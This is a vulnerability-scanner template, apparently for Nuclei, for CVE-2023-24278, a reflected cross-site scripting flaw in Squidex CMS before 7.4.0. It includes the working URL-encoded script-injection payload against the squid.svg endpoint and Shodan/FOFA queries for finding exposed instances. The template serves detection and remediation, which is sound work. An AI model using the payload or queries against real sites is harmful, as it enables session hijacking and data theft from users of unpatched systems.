Squidex before 7.4.0 contains a cross-site scripting vulnerability via the squid.svg endpoint. An attacker can possibly obtain sensitive information, modify data, and/or execute unauthorized administrative operations in the context of the affected site.
PoC代码[已公开]
id: CVE-2023-24278
info:
name: Squidex <7.4.0 - Cross-Site Scripting
author: r3Y3r53
severity: medium
description: |
Squidex before 7.4.0 contains a cross-site scripting vulnerability via the squid.svg endpoint. An attacker can possibly obtain sensitive information, modify data, and/or execute unauthorized administrative operations in the context of the affected site.
impact: |
Successful exploitation of this vulnerability could allow an attacker to execute arbitrary JavaScript code in the context of the victim's browser, leading to potential session hijacking, defacement, or theft of sensitive information.
remediation: |
Upgrade to Squidex CMS version 7.4.0 or later to mitigate this vulnerability.
reference:
- https://census-labs.com/news/2023/03/16/reflected-xss-vulnerabilities-in-squidex-squidsvg-endpoint/
- https://www.openwall.com/lists/oss-security/2023/03/16/1
- https://nvd.nist.gov/vuln/detail/CVE-2023-24278
- https://github.com/karimhabush/cyberowl
classification:
cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
cvss-score: 6.1
cve-id: CVE-2023-24278
cwe-id: CWE-79
epss-score: 0.39448
epss-percentile: 0.97123
cpe: cpe:2.3:a:squidex.io:squidex:*:*:*:*:*:*:*:*
metadata:
verified: true
max-request: 1
vendor: squidex.io
product: squidex
shodan-query: http.favicon.hash:1099097618
fofa-query: icon_hash=1099097618
tags: cve2023,cve,xss,squidex,cms,unauth,squidex.io,vuln
http:
- method: GET
path:
- "{{BaseURL}}/squid.svg?title=Not%20Found&text=This%20is%20not%20the%20page%20you%20are%20looking%20for!&background=%22%3E%3Cscript%3Ealert(document.domain)%3C/script%3E%3Cimg%20src=%22&small"
matchers-condition: and
matchers:
- type: word
part: body
words:
- "<script>alert(document.domain)</script>"
- "looking for!"
condition: and
- type: word
part: header
words:
- "image/svg+xml"
- type: status
status:
- 200
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